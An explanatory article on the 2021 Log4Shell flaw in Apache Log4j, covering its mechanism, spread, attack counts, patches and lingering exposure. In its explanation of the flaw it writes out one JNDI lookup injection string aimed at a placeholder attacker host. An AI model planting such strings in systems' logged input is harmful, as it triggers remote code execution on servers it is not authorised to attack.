Log4Shell: when a line in a log runs the attacker's code

On December 9, 2021, a flaw in Log4j became public, in a post on Twitter that has since been deleted. Log4j is a library from the Apache Software Foundation that Java programs use to write logs, the records of what a program does. If an attacker got a short line of text into anything such a program logged, the server could load and run the attacker’s code, without any password.

The US National Vulnerability Database rates the flaw, known as Log4Shell, at 10.0, the highest possible score.

How it worked

Log4j does more than write log messages. It also evaluates placeholders inside them, called lookups, which look like ${...}. One of these lookups, JNDI, lets the library fetch an object from a directory server on the network. An attacker only had to get a string such as ${jndi:ldap://attacker.example/x} into something the server logged: a username, a chat message, or the browser name that a web request usually carries. The server then contacted the attacker’s directory server, received a reference to a Java program and, depending on the Java version and the libraries present, loaded and ran it.

Reach, attacks and damage

On December 16, 2021, Google counted 35,863 Java packages on Maven Central, the main public store of Java libraries, that depended on the flawed Log4j code. That is more than 8 % of all packages there, while the average security advisory for Maven Central affects 2 %. Only around 7,000 of these packages used Log4j directly. Most included it through other packages, mostly five levels down.

Attacks began before the flaw was public. Cloudflare saw limited testing on December 1, eight days before the disclosure, and its first attack attempt just nine minutes after the post. Then the wave began.

Five days after the disclosure, Cloudflare saw 400 attempts per second, the US Cyber Safety Review Board noted. By December 20, the security company Check Point had blocked more than 4.3 million attempts and had seen attempts on more than 48 % of corporate networks worldwide. These are counts of attempts in each vendor’s own data, not of successful break-ins, and they cannot be compared with each other.

How much damage was done is not documented. The Cyber Safety Review Board, which reviewed the case in 2022, found that exploitation stayed lower than many experts had predicted, given how severe the flaw was. It also stressed that no authoritative data on exploitation exists. The cost lay mainly in the response: one US federal department alone reported 33,000 hours of work on Log4j.

The fix and the response

The Alibaba Cloud Security Team reported the flaw to Apache on November 24, 2021. Apache committed a fix on December 5 and made version 2.15.0 available on December 10. That fix was incomplete, and three more releases followed.

The follow-up flaws got CVE numbers of their own. CVE-2021-45046, the gap in 2.15.0, is rated 9.0. CVE-2021-45105, the crash, is rated 5.9. CVE-2021-44832, rated 6.6, only works for an attacker who can already change the logging settings. For programs on older Java versions, Apache released 2.12.4 for Java 7 and 2.3.2 for Java 6.

Governments reacted quickly. CISA, the US cybersecurity agency, put Log4Shell on its list of exploited vulnerabilities on December 10, the day the first fix came out. Germany’s Federal Office for Information Security (BSI) raised its warning to level red on December 11. On December 17, CISA issued Emergency Directive 22-02, an order that US federal agencies must follow.

Still in use years later

Many copies stayed unfixed. Google expected a long wait, likely years, before the whole Maven ecosystem was fixed. In 2025, about 13 % of all Log4j downloads, roughly 40 million, still contained Log4Shell, Sonatype reports.